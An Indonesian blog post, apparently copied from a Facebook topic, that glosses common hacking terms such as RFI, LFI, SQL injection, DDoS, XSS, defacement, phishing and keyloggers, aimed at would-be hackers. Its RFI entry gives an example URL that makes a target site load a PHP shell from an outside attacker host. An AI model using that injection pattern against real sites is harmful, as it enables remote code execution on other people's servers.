+----
-Enlarge this imageReduce this image Click to see fullsizeBerikut beberapa istilah yang umum digunakan dalam dunia hacking. Post ini gue ambil dari :
https://bs-ba.facebook.com/topic.php?uid=133105110739&topic=11326, sekedar untuk bacaan dan untuk pengetahuan. heheh , bagi yang suka
dengan kegiatan dunia hacking dan semacamnya, kayaknya musti di
pelajari agar nantinya ngga bingung lagi pada saat melakukan kegiatan
hacking ^^ ( nah kebetulan kalo gue hanya spammer T.T ) jadi ngga
ngerti kk T.T
* RFI (Remote File Inclusion)
Penyisipan
sebuah file dari luar ke dalam sebuah webserver dengan tujuan script
didalam akan dieksekusi pada saat file yang disisipi di-load, biasanya
tersusun seperti ini
http://targetrfi.com/index.php?page=http://injecktor.com/files/injectorfile? keterangan,
http://targetrfi.com/adalah web target index.php adalah script yang memiliki masalah ?page=
merupakan source kode kesalahan yang terdapat pada file index.php dan
http://injector.com/files/injectorfile?ini merupakan shell php yang tersimpan di web kita dalam bentuk halaman
unicode yang bisa dibaca oleh webserver dengan extensi file selain .php.
* LFI (Local File Inclusion)
Suatu
bug dimana kita bisa menginclude kan file (file yang berada didalam
server yg bersangkutan) ke page yang vulnerable (vulnerable LFI
maksudnya).
* SQL Injection
Salah satu jenis
penyerangan yang mengijinkan user tidak sah (penyerang) untuk mengakses
database server atau memasukkan (injeksi) command2 sql ke dalm query
sql dlm program, memanipulasi query sql dlm program. biasanya tersusun
antara lain
http://target.com/path1/path2/file.php?.
* DDOS
Distributed
Denial of Service. DoS sndiri adalah serangan dgn melakukan request
terus menerus pd victim dg tujuan untuk menghabiskan resource pada
victim, seperti bandwith, memory, dll. Victim yang kehabisan resource,
akan down. *”Distributed” DoS adalah DoS yg di lakukan secara
terdistribusi atau berjamaah dlm jumlah besar, biasanya menggunakan bot
pd irc ataupun menggunakan scripts perl.
* Bug
Kesalahan
pada pemrograman yang menyebabkan sistem dapat dieksploitasi atau error
dengan kondisi tertentu. Dalam web hacking, terdapat beberapa bug
seperti RFI, LFI, SQLi, RCE, XSS, dll.
* Patch
Perbaikan terhadap bug dengan mengupdate sistem yg vurnerable.
* Vurnerable
Sistem yang memiliki bug sehingga rentan terhadap serangan.
* Shell
Inti dari sistem operasi. Shell mengendalikan kerja sistem operasi sebuah server/komputer.
* Shell interpreter
Bentuk antarmuka yg merupakan penghubung antara shell dgn brainware. Bentuk umumnya berupa console,cmd,webshell,dll.
* Deface
Merubah tampilan halaman suatu website secara illegal
* Debug
Kegiatan mencari bug pada aplikasi dan memperbaiki bug yg d temukan.
* XSS
Adalah suatu cara memasukan code/script HTML kedalam suatu web site dan dijalankan melalui browser di client
* Phising
Adalah
tindakan memperoleh informasi pribadi seperti User ID, password, PIN,
nomor rekening bank, nomor kartu kredit Anda secara ilegal, cara ini
lebih sering digunakan dalam dunia carder.
* Keylogger
Adalah
mesin atau software yang dipasang atau diinstal di komputer agar
mencatat semua aktivitas yang terjadi pada keyboard (bekerja diam diam
alias tidak terketahui oleh kita secara kasat mata)
creditec by Bronx Andi Sadewa (ATTACKER HACKER)